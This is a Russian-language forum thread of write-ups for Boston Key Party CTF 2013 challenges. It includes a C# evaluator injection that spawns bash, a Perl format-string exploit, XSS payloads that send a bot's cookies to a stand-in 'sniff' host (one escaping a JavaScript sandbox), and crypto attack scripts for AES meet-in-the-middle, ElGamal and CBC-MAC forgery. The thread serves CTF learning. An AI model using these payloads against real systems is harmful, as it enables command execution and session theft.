Старый 10.06.2013, 02:14   #1
wget
 
Аватар для wget
 
Регистрация: 16.06.2012
Сообщений: 33
Репутация: 5
По умолчанию Boston Key Party CTF 2013

Т.к. завершился Boston Key Party, хотелось бы прочесть врайт-ап от команды RDot, особенно интересны конкурсы SecretKeepr и Door 2.
Я решил только wolfram beta, его решили многие но все же на всякий случай напишу по нему заметку.

wolfram beta

Опытным путем устанавливаем, что числовые параметры проверяются, а вот в операторе проверяется только первый символ. Пробуем следующее:
Код:
root@wg3t:~# telnet 54.218.12.97 34567
Trying 54.218.12.97...
Connected to 54.218.12.97.
Escape character is '^]'.
Wolfram Beta - BkP CTF 2013 Team
Wolfram Beta is a great calculator.
just put in a number at the prompt
then put in the operator
then finally the second number
and the calculation will be done INSTANTLY
no accounts necessacary, unlike some of our competition!
first num: 3
operator: /l;
second num: 2
Thinking...
....
Done Thinking!
{interactive}(1,4): error CS0103: The name `l' does not exist in the current context

Unhandled Exception: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0
[ERROR] FATAL UNHANDLED EXCEPTION: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0
Connection closed by foreign host.
Тут мы понимаем, что используется прога на CSharp и расчеты выполняются с помощью Mono.CSharp.Evaluator.Evaluate.
Соответственно формируем пейлоад
Код:
first num: 5
operator: /3; System.Diagnostics.Process.Start("bash");//
second num: 2
Еще пару раз жмем Enter и мы в баше. Уже в нем:
Код:
/bin/bash: line 1: $'\r': command not found

ls #
b
flag
cat flag #
at_least_its_not_a_python_jail
Возможно вышло как-то сумбурно, но все же.

Последний раз редактировалось BlackFan; 10.06.2013 в 07:34..
wget вне форума   Ответить с цитированием
Старый 10.06.2013, 04:37   #2
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

movie store

форматная строка + знаковая переменная в проверке размера корзины.
экслойт для movie strore:
Код:
#!/usr/bin/perl
use strict; $|=1;

# 0x0804F1A0 - %5$n
buy_movie(160);
buy_movie(241);
buy_movie(4);
buy_movie(8);

# 0x0804F1A2 - %6$n
buy_movie(162);
buy_movie(241);
buy_movie(4);
buy_movie(8);

buy_movie(ord('%'));
buy_movie(ord('3'));
buy_movie(ord('7'));
buy_movie(ord('3'));
buy_movie(ord('5'));
buy_movie(ord('9'));
buy_movie(ord('x'));

buy_movie(ord('%'));
buy_movie(ord('5'));
buy_movie(ord('$'));
buy_movie(ord('h'));
buy_movie(ord('n'));

for (1..150) {
    buy_movie(ord('A'));
}

sub buy_movie {
    my $what = shift;
    print "b\n";
    print "$what\n";
}

Последний раз редактировалось BlackFan; 10.06.2013 в 07:34..
slashd вне форума   Ответить с цитированием
Старый 10.06.2013, 07:29   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

nedias pictures

http://54.218.11.211/gallery/1be3c5d1ceba5cee1e75ada11156755bd75ecd0d/upload.php

Есть заливка картинок, необходимо получить cookie бота.
Сначала долго тупим с XSS через JFIF комментарии, потом замечаем переменную tag, у которой значение image.
Соответственно, в выводе получается:
Код:
<$tag src="./upload/nediapicture.gif"></$tag>
Где nediapicture.gif наша загруженная картинка, которая при загрузке проверяется по сигнатуре.
Пишем в тело картинки
Код:
GIF89a=1;location='http://sniff/?c='+escape(document.cookie);
И изменяем переменную tag на script.

SecretKeepr

Сайт, на котором у пользователей есть 2 поля - с публичной информацией (отображается при поиске пользователя по нику) и секретной (отображается только пользователю). В этих полях можно использовать html и js в некой песочнице. Необходимо получить секретное значение пользователя victim.

Песочница занимается тем, что: (пишу по памяти, так как не осталось исходников)
1) Дописывает к каждой глобальной переменной и функциям свой префикс
2) Дописывает проверку значения в скобках (там должно быть либо строка, либо число, иначе вернется null)

Соответственно код типа:
Код:
location = 'http://sniff/?c='+escape(document.cookie)
Превратится в:
Код:
sandbox_123_location = 'http://sniff/?c='+sandbox_123_escape(sandbox_check_brackets(SecurityUtils.document.cookie))
Смотрим в сторону обфускации кода и находим следующий вариант
Код:
($=[]["sort"])()["alert"](1)

a = [] // Создает массив
b = a["sort"] // Получает ссылку на метод sort
c = b() // Выполяет метод вне контекста массива для получения ссылки на window
d = c["alert"] // Получает ссылку на window.alert
d(1) // Выполняет window.alert с аргументом 1
Данный код не сломается после обработки песочницей, но сработает только на старых браузерах.
Проверяем браузер у бота - Chrome/15.
Допиливаем сниффер:
Код:
<script>
x=(y=[]["sort"])();
x["location"]='http://sniff/?c='+x["escape"](x["document"]["cookie"])
</script>
После получения cookie заходим под victim и получаем значение.

space game

Неожиданно решил задание на реверс игры для Nintendo DS, хотя ничего не понимаю в реверсе. (Наверное задание было очень простым )

Находим loader для Nintendo DS для IDA. Открываем и разбираемся с кодом.
При нажатии определенных клавиш составляется строка, которая потом посимвольно сравнивается.
В IDA достаточно было найти финальную функцию проверки:



И в правильном порядке собрать сравниваемые символы



В результате нажатий клавиш в памяти должна сформироваться такая строка:
Код:
ZnVsbGF
0x5a, 0x6e, 0x56, 0x73, 0x62, 0x47, 0x46
Открываем эмулятор DeSmuME 0.9.9, в котором есть отличная функция - "RAM Search".
Отсеиваем в поиске все однобайтовые значения, которые изменились 1 раз после нажатия кнопки в эмуляторе.



0x020216E8 - счетчик нажатий клавиш
0x02024020 - начало формируемой строки

Добавляем эти адреса в RAM Watch, определяем соответствие нажатий клавиш и кодов, вбиваем комбинацию.

Код:
← → A START B L R

Последний раз редактировалось BlackFan; 10.06.2013 в 09:55..
BlackFan вне форума   Ответить с цитированием
Старый 10.06.2013, 10:56   #4
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

MITM (Crypto 200)
Цитата:
I can't read this. Can you?
message 1: QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM=
encrypted: THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc=
message 2: RWFjaCBrZXkgemVybyB1bnRpbCBsYXN0IDI0IGJpdHM=
encrypted: 01YZbSrta2N+1pOeQppmPETzoT/Yqb816yGlyceuEOE=
ciphertext: s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U=
As these messages say, the encryption is double AES-ECB with two different keys with first 232 bits equal 0. A straitforward bruteforce is too long (6 bytes entropy).
An efficient solution is Meet-In-The-Middle attack -- first build a table of all possible encryptions of plaintext, then decrypt the ciphertext with all possible keys and look the decryption up in the table.

Exploit:

Код:
import sys
from Crypto.Cipher import AES

alph = [chr(i) for i in xrange(256)]
m = 'QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM='.decode('base64')
c = 'THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc='.decode('base64')
flag = 's5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U='.decode('base64')
middle = dict();

for v in alph:
    x = v;
    print x.encode('hex')
    for v in alph:
        y = v;
        for v in alph:
            z = v;
            key1 = '%s%s%s%s' % ('\0' * 29, x, y, z)
            cipher = AES.new(key1)
            middle.update({cipher.encrypt(m): key1})

print "\nTable built...";

for v in alph:
    x = v;
    print x.encode('hex')
    for v in alph:
        y = v;
        for v in alph:
            z = v;
            key2 = '%s%s%s%s' % ('\0' * 29, x, y, z)
            cipher = AES.new(key2)
            d = cipher.decrypt(c)
            if d in middle:
                print "\nKeys found: %s; %s\nFlag:" % (middle[d].encode('hex'), key2.encode('hex'))
                cipher1 = AES.new(middle[d])
                print cipher.decrypt(cipher1.decrypt(flag))
Flag retrieval:

Код:
>>> flag='s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U='.decode('base64')
>>> key1='0000000000000000000000000000000000000000000000000000000000ff3f45'.decode('hex')
>>> key2='00000000000000000000000000000000000000000000000000000000009ae807'.decode('hex')
>>> cipher1 = AES.new(key1, AES.MODE_ECB)
>>> cipher2 = AES.new(key2, AES.MODE_ECB)
>>> cipher2.decrypt(cipher1.decrypt(flag))
"This time I didn't include sol'n"
ElGamal (Crypto 200)
Цитата:
I'm PRETTY SURE that El Gamal is secure on basically any group. Prove me wrong? Running at 54.218.12.97:31333
This is a service that implements a captcha and ElGamal "game".
The bypass the captcha, one should bruteforce a 20-chars string with a specified prefix, whose SHA1 hash has a predefined suffix (\xff\xff\xff).
The "game" is as follows:
-- the server sends ElGamal public key (p, g, h) to a client;
-- the client sends two numbers to the server;
-- the server randomly chooses one of them and sends its encryption to the client;
-- the client should guess, which of numbers was encrypted.
The last three steps repeat 64 times.
The solution is to select a quadratic residue and quadratic non-residue over the field F_p.
By the way, the p in this task is generated as follows: p=2*q+1, where the q is prime.
Take a look at the encryption procedure:
Код:
...
def elgamal_encrypt(p, g, h, m):
    y = random.randrange(1, p) # Don't pick 0
    c1 = pow(g, y, p)
    s = pow(h, y, p)
    c2 = s * m % p
    return (c1, c2)
...
We've got (h**y)*m%p and (g**y)%p. Note that h=(g**x)%p.
Thus, c1=m*g**(xy)%p. Now, g is quadratic non-residue, so, g**q=-1 mod p, thus, if c1**q==c2**q, then m is quadratic residue.

Код:
import hashlib
import random
import re
import socket
import string

def captcha_brute():
    while True:
        yield ''.join(random.choice(string.printable) for x in xrange(8))

def dostep(s, keys):
    s.recv(128)
    s.send('4 5')
    ciphers = re.search('\((\d+), (\d+)\)', s.recv(2048))
    oddity = pow(int(ciphers.group(1)), (keys[0]-1)/2, keys[0])
    if pow(int(ciphers.group(2)), (keys[0]-1)/2, keys[0]) == oddity:
        s.send('0\n')
    else:
        s.send('1\n')

def doit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('54.218.12.97', 31333))
    captcha = re.search("'(.*)' and", s.recv(128)).group(1)
    print 'Got captcha prefix: %s' % captcha
    for hypo in captcha_brute():
        if hashlib.sha1(captcha + hypo).digest().endswith('\xff\xff\xff'):
            print 'Got captcha string: %s' % hypo
            s.send('%s%s\n' % (captcha, hypo))
            break
    keys = [int(x) for x in re.findall('\[(\d+)\]', s.recv(2048))]
    print 'Got key: %s' % keys
    for x in xrange(64):
        dostep(s, keys)
    print s.recv(256)

if __name__ == '__main__':
    doit()
Launch it, get the flag:

Код:
$ python sol_elgamal.py 
Got captcha prefix: dIvJHzqDgsLE
Got captcha string: Dga~Da	>
Got key: [27327395392065156535295708986786204851079528837723780510136102615658941290873291366333982291142196119880072569148310240613294525601423086385684539987530041685746722802143397156977196536022078345249162977312837555444840885304704497622243160036344118163834102383664729922544598824748665205987742128842266020644318535398158529231670365533130718559364239513376190580331938323739895791648429804489417000105677817248741446184689828512402512984453866089594767267742663452532505964888865617589849683809416805726974349474427978691740833753326962760114744967093652541808999389773346317294473742439510326811300031080582618145727L, 5, 20599707842594080592806871467326264953318180578075914297545006296180897682961098521127710022600676392677668750693678564792536292518950622938780897835891915555589850066943772162015009984914946562701717400736264614213787020758542839173228762792777962213550206429083155330550831114870108139897214362241748644979044149494735257180022300704454594371552542966255959771002365203754880986709812539529114965772704520892679302744068505344055006318771271820340027277292046958730350617532918746562489553013311683595749640694279885263440543884521931809685313385537513009949934029547000769052966029024839725485582148553004288917091L]
Augh!  I lose, again!
QU4DR4T1CR3S1DU3S4TH3W1N!!!
Door 2 (Crypto 300)
Цитата:
The server uses signed messages to operate doors, but we haven't been able to figure out how to crack the system. A source leaked a traffic dump to us that contains signed messages. However, the sessions from the dump still use the old door protocol. Since then the commands have been changed to all capital letters. You need to open door no 8. Server at 54.218.12.97:30700 (hint: crypto door 2 now does not require 'OPEN' in the text, any valid message/tag pair other than the ones provided is a valid solution)
At first, the task was unsolvable since we cannot simply forge an arbitrary CBC-MAC signed message.
But we can implement existential forgery by an adaptively chosen text attack.
To do that, we should take any two sessions from the dump.pcap, take command1 and command2, tag1 and tag2.
Then, we can construct message command1||command2^tag1, whose CBC-MAC tag will be tag2.

The final payload is:

Код:
{"door": 8, "tag": [110, 35, 179, 108, 224, 0, 240, 59, 250, 59, 206, 158, 141, 214, 122, 173], "command": "close # 67012\u0000\u0000\u0000\u00ec\u008d\u00f9u\u007f\u0018\u0097\u00a3\u00f9\u00adh\u00cf\u00b0\u00a7\u00b0K"}
(I haven't saved the flag).
Beched вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot